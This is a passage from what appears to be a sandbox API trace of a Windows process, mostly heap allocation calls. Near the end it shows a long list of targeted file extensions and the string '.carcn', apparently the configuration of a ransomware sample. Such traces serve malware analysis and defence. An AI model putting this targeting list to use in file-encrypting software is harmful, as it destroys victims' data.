(HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdb38 [0250.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x681020 [0250.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdb80 [0250.283] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f390, Size=0x80) returned 0x686058 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdb08 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cda30 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cda60 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdb50 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdb68 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cdac0 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdbc8 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680f50 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdaa8 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdb98 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cdbb0 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cda00 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cda18 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cda48 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cdaf0 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdc28 [0250.284] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x686058, Size=0x100) returned 0x687ab0 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdbe0 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdcd0 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdbf8 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6cdc10 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdc40 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdc58 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680f40 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdc70 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdca0 [0250.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdc88 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x680ea0 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdcb8 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdd18 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x681050 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdd30 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdd60 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cdd48 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdce8 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdd00 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cdd78 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6cdd90 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd0b8 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6ccef0 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ccfe0 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd010 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cce00 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cced8 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680f60 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ccf80 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cce60 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd028 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cce18 [0250.285] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x687ab0, Size=0x200) returned 0x687ab0 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ccf08 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680f70 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd040 [0250.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ccfc8 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd0d0 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ccf20 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd0a0 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cce78 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ccde8 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd058 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ccff8 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cd070 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ccf38 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cce30 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd088 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cce48 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cce90 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ccea8 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ccec0 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ccf50 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ccf68 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ccf98 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ccfb0 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680fa0 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd160 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd118 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd298 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680f00 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd2f8 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cd328 [0250.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd1d8 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd3a0 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd2b0 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd208 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd340 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd238 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cd310 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cd358 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd190 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd370 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd220 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cd130 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd100 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd1a8 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd2c8 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd250 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd388 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd3b8 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd2e0 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680ed0 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x680d00 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd3d0 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd178 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd0e8 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd148 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd1c0 [0250.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cd1f0 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd268 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd280 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd6a0 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd478 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cd508 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd6b8 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd4f0 [0250.288] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x687ab0, Size=0x400) returned 0x6ab160 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd520 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd688 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cd568 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd538 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd430 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd670 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cd448 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd550 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd4c0 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd580 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x657dd8 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd4d8 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cd598 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd6d0 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd640 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd5b0 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd418 [0250.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6cd5f8 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd460 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd5c8 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd5e0 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd400 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd490 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd610 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd628 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd4a8 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x6ce060 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd3e8 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd658 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd850 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd8f8 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd880 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd820 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd790 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd8e0 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd898 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6cd7d8 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd910 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6cd778 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd928 [0250.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd868 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd808 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd7c0 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd9d0 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cd988 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd760 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd940 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd8b0 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd8c8 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd7a8 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd700 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd9b8 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd838 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd7f0 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd730 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd958 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd9a0 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd970 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd748 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd6e8 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cd718 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce870 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6ce990 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x12) returned 0x6564e0 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cea98 [0250.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce8d0 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce888 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce9a8 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce9c0 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce9d8 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce960 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce8b8 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce828 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ceab0 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ceac8 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce918 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ceae0 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce8e8 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce7f8 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce810 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce840 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce900 [0250.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce9f0 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cea68 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ce858 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ce930 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cea50 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6cea20 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cea38 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x6ce160 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce978 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x6ce170 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cea08 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cea80 [0250.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ce8a0 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ce948 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cebe8 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ceb40 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cec30 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cecc0 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cecf0 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ceb58 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cede0 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cec00 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6cec60 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cec18 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x6ce010 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ced38 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ced80 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ceba0 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cec48 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ceaf8 [0250.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ced50 [0250.293] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ab160, Size=0x800) returned 0x6cf1c0 [0250.293] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0250.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x69b148 | out: hHeap=0x640000) returned 1 [0250.293] lstrlenW (lpString="") returned 0 [0250.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce6a8 | out: hHeap=0x640000) returned 1 [0250.293] lstrlenW (lpString=".carcn") returned 6 [0250.293] lstrlenW (lpString=".carcn") returned 6 [0250.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce558 | out: hHeap=0x640000) returned 1 [0250.294] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce7c8, Size=0x20) returned 0x680790 [0250.294] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680790, Size=0x40) returned 0x65f3d8 [0250.294] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f3d8, Size=0x80) returned 0x686740 [0250.294] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce0a0, Size=0x8) returned 0x6ce130 [0250.294] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce130, Size=0x10) returned 0x6ce5a0 [0250.294] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ce5a0, Size=0x20) returned 0x680588 [0250.294] lstrlenW 